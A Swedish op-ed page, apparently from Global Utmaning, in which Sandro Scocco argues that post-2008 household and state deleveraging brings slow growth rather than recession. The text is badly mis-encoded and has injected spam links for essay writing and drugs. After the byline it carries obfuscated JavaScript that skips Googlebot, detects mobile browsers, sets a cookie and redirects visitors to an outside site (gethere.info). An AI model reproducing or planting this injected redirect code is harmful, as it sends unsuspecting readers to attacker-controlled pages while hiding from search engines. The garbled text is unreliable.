Meny

Sandro Scocco: Ingen recession, men en sakta lAi??kning av sA?ren efter vA?ra synder

Global Utmaning

7 år sedan

Sandro Scocco: Ingen recession, men en sakta lAi??kning av sA?ren efter vA?ra synder

http://socheec.com/write-my-essay/ Sandro Scocco, programchef Global Ekonomi Det blir ingen ny recession, men fAi??rhoppningsvis innebAi??r det nuvarande ekonomiska lAi??get bAi??rjan pA? en sakta lAi??kning av vA?ra synder. Det skriver Sandro Scocco, Global Utmanings programchef fAi??r global ekonomi, och menar att bland alla domedagsprofetior sA? bAi??r man minnas att lAi??gre tillvAi??xt Ai??r en ofrA?nkomlig del av den A?terhAi??mtningsprocess frA?n finanskrisen som vAi??stvAi??rldens skuldavveckling innebAi??r.

”BAi??rsen i Sverige har backat kraftigt pA? kort tid. VAi??rlden Ai??ver faller bAi??rserna och att Ai??ppna Dagens Industri Ai??r vissa dagar som en promenad i Dantes Inferno. Man kAi??nner igen de vanliga misstAi??nkta pA? helvetets olika nivA?er och dessa fortsAi??tter att uttala sig i profetisk anda om nutidshistoria. Inte sAi??llan Ai??r de samma personer som i samma profetiska anda nyss konstaterade att det gick vAi??ldigt bra, vilket man fA?r sAi??ga urholkar fAi??rtroendet fAi??r profetiorna nA?got.

SjAi??lv har jag under en lAi??ngre tid, likt Nalle Puh:s vAi??n Ior, gnAi??llt Ai??ver att fundamenta inte talar fAi??r en sA?dan stark utveckling av tillgA?ngsvAi??rdena som vi haft sedan finanskrisen. Ai?? andra sidan kAi??nns nu dessa domedagsprofetior om bA?de USA och Europa nA?got Ai??verdrivna. Jorden kommer med stAi??rsta sannolikhet inte att gA? under denna gA?ng heller. Givet den finanskris vi just gA?tt igenom Ai??r vi tvAi??rtom idag i en relativt god realekonomisk situation, Ai??ven om lAi??get Ai??ndA? Ai??r dA?ligt. Allt Ai??r som sagt var relativt.

LA?t oss ta det frA?n bAi??rjan. Finanskrisen berodde ytterst pA? att hushA?llen skuldsatte sig pA? ett ohA?llbart sett. Den frAi??msta anledningen till detta var att tillgA?ngspriserna pA? fastigheter steg snabbt, vilket mAi??jliggjorde fAi??r hushA?llen att lAi??mna pant pA? allt stAi??rre skulder. I det lA?grAi??ntelAi??ge som rA?dde, var det naturligtvis lAi??nsamt att omvandla dessa skulder till finansiella instrument med mycket hAi??gre avkastning till, vad man ansA?g dA?, liten risk.

FAi??r de som hade mycket pengar att placera, d.v.s. fAi??r den procent av befolkningen som Ai??r tillgA?ngsaktiva, var detta naturligtvis attraktivt. Deras inkomster hade dessutom vuxit mycket snabbt sedan 90-talet och de hade pengar att lA?na ut, d.v.s. kAi??pa finansiella instrument fAi??r. Under samma period hade dock medianinkomsten i USA i reala termer fallit, d.v.s. ai???average Joeai??? behAi??vde lA?na pengar fAi??r att upprAi??tthA?lla sin levnadsstandard.

Det har lite felaktigt beskrivits som att detta fenomen var nA?got som bara berAi??rde USA och att sedan fick resten av vAi??rlden snuva nAi??r USA nAi??s. Det Ai??r betydligt nAi??rmare sanningen att denna bubbel-process pA?gick mer eller mindre i nAi??stan samtliga vAi??stlAi??nder. BubbelmAi??staren George Soros formulerade detta elegant;

ai???Bubblor har tvA? komponenter: en trend som faktiskt existerar och en missuppfattning rAi??rande denna trend. Det banalaste exemplet rAi??r fastighetsmarknaden. Trenden Ai??r stigande priser och Ai??kade mAi??jligheter till belA?ning. Missuppfattningen Ai??r att uppgA?ngen i fastighetspriserna Ai??r frikopplad frA?n den Ai??kade utlA?ningen.ai??? New York Review of Books 2008

De amerikanska hushA?llen var inte ens vAi??rst i klassen. I USA Ai??kade hushA?llens skulder frA?n 90 procent av disponibel inkomsten i mitten av 90-talet till som hAi??gst 133 procent A?r 2007. I Sverige Ai??kade de frA?n 88 procent till Ai??ver 160 procent A?r 2010, fAi??r att bara ta ett exempel.

Denna bubbelrisk vara knappast finansmarknaden omedveten om. Chuck Prince, fAi??re detta CEO fAi??r en av USA:s stAi??rsta banker, Citigroup, och som avgick i slutet av 2007, summerar logiken fAi??re krisen;

ai???NAi??r musiken stannar – i form av tillgA?ng pA? likviditet – kommer saker att bli komplicerade, men sA? lAi??nge musiken spelar sA? mA?ste man upp och dansa. Vi dansar fortfarande.ai???

Musiken stannade och fastighetsmarknader i mA?nga lAi??nder kraschade och plAi??tsligt fAi??rsvann miljarder i tillgA?ngar. Finanssystemet klarade inte att absorbera sA? stora fAi??rluster, men kraftfulla insatser av respektive regeringen hAi??ll systemet under armarna. RAi??dda fAi??r ett historiskt fall i efterfrA?gan tog regeringar och centralbanker Ai??ver finanssektorns skulder, tryckte pengar, kAi??pte dA?liga tillgA?ngar, hAi??ll extremt lA?g rAi??nta och Ai??kade sina statsbudgetar.

Detta vAi??nde en utveckling som var pA? vAi??g mot den som rA?dde efter 30-tals krisen, bA?de nAi??r det gAi??ller BNP och tillgA?ngspriser (se diagram). Denna gA?ng bedrevs dock en mycket aktiv krispolitik, som lyckades vAi??nda utvecklingen mycket snabbare Ai??n pA? 30-talet.

Redan efter 10-12 mA?nader vAi??nde fAi??rloppet och A?terhAi??mtningen startade pA? bred front. Det har sA?lunda egentligen gA?tt rAi??tt bra, men det var alltsA? en massiv dopning av systemet som hAi??ll igA?ng det och som fAi??rr eller senare mA?ste ta slut. Det Ai??r dock uppenbart att tillgA?ngsmarknaderna underskattat de underliggande problem och bara sett vAi??ndningen.

http://caixaribeira.pt/flagyl-over-the-counter/

De statliga insatserna lAi??ste frAi??mst ut finansmarknaderna, men inte hushA?ll med allt fAi??r hAi??ga skulder. NAi??r hushA?llen fAi??rsAi??ker avveckla sina skulder sA? stiger arbetslAi??sheten, staten tvingas betalat ut a-kassa och skatteinkomsterna minskar. Detta leder till att statens skulder Ai??kar och vips har ocksA? delar av hushA?llens skulder flyttats Ai??ver till staten. Detta har gjort att allt mer fokus hamnat pA? staternas Ai??kade skuldsAi??ttning, sAi??rskilt avseende PIIGS-lAi??nderna och USA. HAi??r krAi??ver marknaden nu allt kraftfullare besparingspaket.

Sammantaget gAi??r det att i stora delar av vAi??stvAi??rlden kommer tvA? av tre sektorer som upprAi??tthA?ller efterfrA?gan, hushA?ll och stat, att skuldavveckla. Kommer fAi??retagen att kompensera detta bortfall i efterfrA?gan med stora investeringar? Nej, varfAi??r skulle de det. Det finns inget stort behov av kapacitetsutbyggnad.

Den extra skjuts tillvAi??xten fick av skulduppbyggnaden mA?ste nu betalas av med lAi??gre tillvAi??xt under relativt lA?ng period. Detta ska dock inte fAi??rvAi??xlas med recession, d.v.s. negativ tillvAi??xt, utan vi talar fortfarande om en positiv tillvAi??xt som ligger A?t det blygsamma hA?llet.

Order antivert 25mg Det gAi??r att den korrigering som nu kommit mAi??jligtvis Ai??r en Ai??verreaktion, men Ai??ven i ett bra scenario kommer utveckling att fortsAi??tta bli relativt svag pA? tillgA?ngar som en konsekvens av att hushA?ll och stater skuldavvecklar. RAi??ntorna kommer fAi??rbli lA?ga under en lA?ng tid och arbetslAi??sheten kommer fortsAi??tta vara hAi??g. Vi talar dock om positiv tillvAi??xt och en fortsatt lAi??kning efter finanskrisen.

Det frAi??msta hotet mot detta kommer sannolikt frA?n marknaden sjAi??lvt. Finansmarknaderna Ai??r kraftigt procykliska och har bevisligen en allt svagare koppling till den reala ekonomin. Om snabba rAi??relser pA? marknaden skapar osAi??kerhet om bA?de tillgA?ngar och aktAi??rers vAi??rde (ex. banker) kan detta skapa nedA?tgA?ende spiraler.

I det lAi??get finns det en risk att skuldavvecklingen i bA?de hushA?ll och stat skyndas pA?, med pA?tagliga negativa effekter fAi??r den reala ekonomin. Det kommer dA? ske i ett lAi??ge dAi??r krutet redan Ai??r slut, vare sig rAi??ntevapnet eller statsbudgeten finns nu till hands om det vAi??nder nedA?t. DA? kan det bli riktigt lAi??skigt (se A?terigen diagram). LA?t oss dAi??rfAi??r omfamna och bejaka en sakta men hAi??lsosam lAi??kning av de senaste 15 A?rens synder (lAi??s skulder) och vare sig hoppas pA? fAi??r mycket eller fAi??r lite, tyvAi??rr kanske inte marknadens starka sida.”

Sandro Scocco
Programchef Global Utmaning
Publicerad i Capitalist Tailor nyhetsbrev, partner of Swedish Insurance Groupvar _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *